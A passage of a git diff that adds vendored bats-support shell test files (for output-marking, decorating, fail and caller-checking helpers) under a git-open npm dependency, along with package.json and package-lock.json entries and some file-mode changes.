'batslib_mark() : marks multiple lines when is in random order' { + run bash -c "source '${TEST_MAIN_DIR}/load.bash' + printf ' a\n b\n c\n d\n' | batslib_mark '>' 2 1 3" + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 4 ] + [ "${lines[0]}" == ' a' ] + [ "${lines[1]}" == '>b' ] + [ "${lines[2]}" == '>c' ] + [ "${lines[3]}" == '>d' ] +} + +@test 'batslib_mark() : ignores duplicate indices' { + run bash -c "source '${TEST_MAIN_DIR}/load.bash' + printf ' a\n b\n c\n' | batslib_mark '>' 1 2 1" + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == ' a' ] + [ "${lines[1]}" == '>b' ] + [ "${lines[2]}" == '>c' ] +} + +@test 'batslib_mark() : outputs the input untouched if is the empty string' { + run bash -c "source '${TEST_MAIN_DIR}/load.bash' + printf ' a\n b\n c\n' | batslib_mark '' 1" + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == ' a' ] + [ "${lines[1]}" == ' b' ] + [ "${lines[2]}" == ' c' ] +} + +@test 'batslib_mark() : marks the last line when it is not terminated by a newline' { + run bash -c "source '${TEST_MAIN_DIR}/load.bash' + printf ' a\n b\n c' | batslib_mark '>' 2" + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == ' a' ] + [ "${lines[1]}" == ' b' ] + [ "${lines[2]}" == '>c' ] +} + +@test 'batslib_mark() : does not truncate if it is longer than the marked line' { + run bash -c "source '${TEST_MAIN_DIR}/load.bash' + printf '\n' | batslib_mark '>' 0" + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 1 ] + [ "${lines[0]}" == '>' ] +} diff --git a/node_modules/git-open/test/test_helper/bats-support/test/50-output-19-batslib_decorate.bats b/node_modules/git-open/test/test_helper/bats-support/test/50-output-19-batslib_decorate.bats new file mode 100644 index 0000000..02d55ad --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/test/50-output-19-batslib_decorate.bats @@ -0,0 +1,13 @@ +#!/usr/bin/env bats + +load test_helper + +@test 'batslib_decorate() : encloses the input in a footer line and a header line containing <title>' { + run bash -c "source '${TEST_MAIN_DIR}/load.bash' + echo 'body' | batslib_decorate 'title'" + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == '-- title --' ] + [ "${lines[1]}" == 'body' ] + [ "${lines[2]}" == '--' ] +} diff --git a/node_modules/git-open/test/test_helper/bats-support/test/51-error-10-fail.bats b/node_modules/git-open/test/test_helper/bats-support/test/51-error-10-fail.bats new file mode 100644 index 0000000..1d8691a --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/test/51-error-10-fail.bats @@ -0,0 +1,16 @@ +#!/usr/bin/env bats + +load test_helper + +@test 'fail() <message>: returns 1 and displays <message>' { + run fail 'message' + [ "$status" -eq 1 ] + [ "$output" == 'message' ] +} + +@test 'fail(): reads <message> from STDIN' { + run bash -c "source '${TEST_MAIN_DIR}/load.bash' + echo 'message' | fail" + [ "$status" -eq 1 ] + [ "$output" == 'message' ] +} diff --git a/node_modules/git-open/test/test_helper/bats-support/test/52-lang-10-batslib_is_caller.bats b/node_modules/git-open/test/test_helper/bats-support/test/52-lang-10-batslib_is_caller.bats new file mode 100644 index 0000000..68fd59b --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/test/52-lang-10-batslib_is_caller.bats @@ -0,0 +1,88 @@ +#!/usr/bin/env bats + +load 'test_helper' + + +# Test functions +test_func_lvl_2() { + test_func_lvl_1 "$@" +} + +test_func_lvl_1() { + test_func_lvl_0 "$@" +} + +test_func_lvl_0() { + batslib_is_caller "$@" +} + + +# +# Direct invocation +# + +# Interface +@test 'batslib_is_caller() <function>: returns 0 if the current function was called directly from <function>' { + run test_func_lvl_1 test_func_lvl_1 + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'batslib_is_caller() <function>: returns 1 if the current function was not called directly from <function>' { + run test_func_lvl_0 test_func_lvl_1 + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 0 ] +} + +# Correctness +@test 'batslib_is_caller() <function>: the current function does not appear on the call stack' { + run test_func_lvl_0 test_func_lvl_0 + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 0 ] +} + + +# +# Indirect invocation +# + +# Options +test_i_indirect() { + run test_func_lvl_2 "$@" + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'batslib_is_caller() -i <function>: enables indirect checking' { + test_i_indirect -i test_func_lvl_2 +} + +@test 'batslib_is_caller() --indirect <function>: enables indirect checking' { + test_i_indirect --indirect test_func_lvl_2 +} + +# Interface +@test 'batslib_is_caller() --indirect <function>: returns 0 if the current function was called indirectly from <function>' { + run test_func_lvl_2 --indirect test_func_lvl_2 + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'batslib_is_caller() --indirect <function>: returns 1 if the current function was not called indirectly from <function>' { + run test_func_lvl_1 --indirect test_func_lvl_2 + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 0 ] +} + +# Correctness +@test 'batslib_is_caller() --indirect <function>: direct invocation is a special case of indirect invocation with zero intermediate calls' { + run test_func_lvl_1 --indirect test_func_lvl_1 + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'batslib_is_caller() --indirect <function>: the current function does not appear on the call stack' { + run test_func_lvl_0 --indirect test_func_lvl_0 + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 0 ] +} diff --git a/node_modules/git-open/test/test_helper/bats-support/test/test_helper.bash b/node_modules/git-open/test/test_helper/bats-support/test/test_helper.bash new file mode 100644 index 0000000..ca16775 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-support/test/test_helper.bash @@ -0,0 +1,6 @@ +setup() { + export TEST_MAIN_DIR="${BATS_TEST_DIRNAME}/.." + + # Load library. + load '../load' +} diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 0000000..09698f7 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,25 @@ +{ + "name": "swag", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "dependencies": { + "git-open": "^3.0.0" + } + }, + "node_modules/git-open": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/git-open/-/git-open-3.0.0.tgz", + "integrity": "sha512-/1Ufaslh5oJlPJaxCPrtifmd83U9kzXVBzQem1v1/anGlQvBk7PhJJ1i48eE419CJ4ebXOhOaGv62pMgz/RkuQ==", + "bin": { + "git-home": "git-open", + "git-open": "git-open" + }, + "engines": { + "node": ">=0.10.3", + "npm": ">=2.0.0" + } + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 0000000..8946ab6 --- /dev/null +++ b/package.json @@ -0,0 +1,5 @@ +{ + "dependencies": { + "git-open": "^3.0.0" + } +} diff --git a/php/php-local.ini b/php/php-local.ini old mode 100755 new mode 100644 diff --git a/php/www2.conf b/php/www2.conf old mode 100755 new mode 100644 diff --git a/www/index.html b/www/index.html old mode 100755 new mode 100644 diff --git a/www/vim.cheatsheet.html b/www/vim.cheatsheet.html old mode 100755 new mode 100644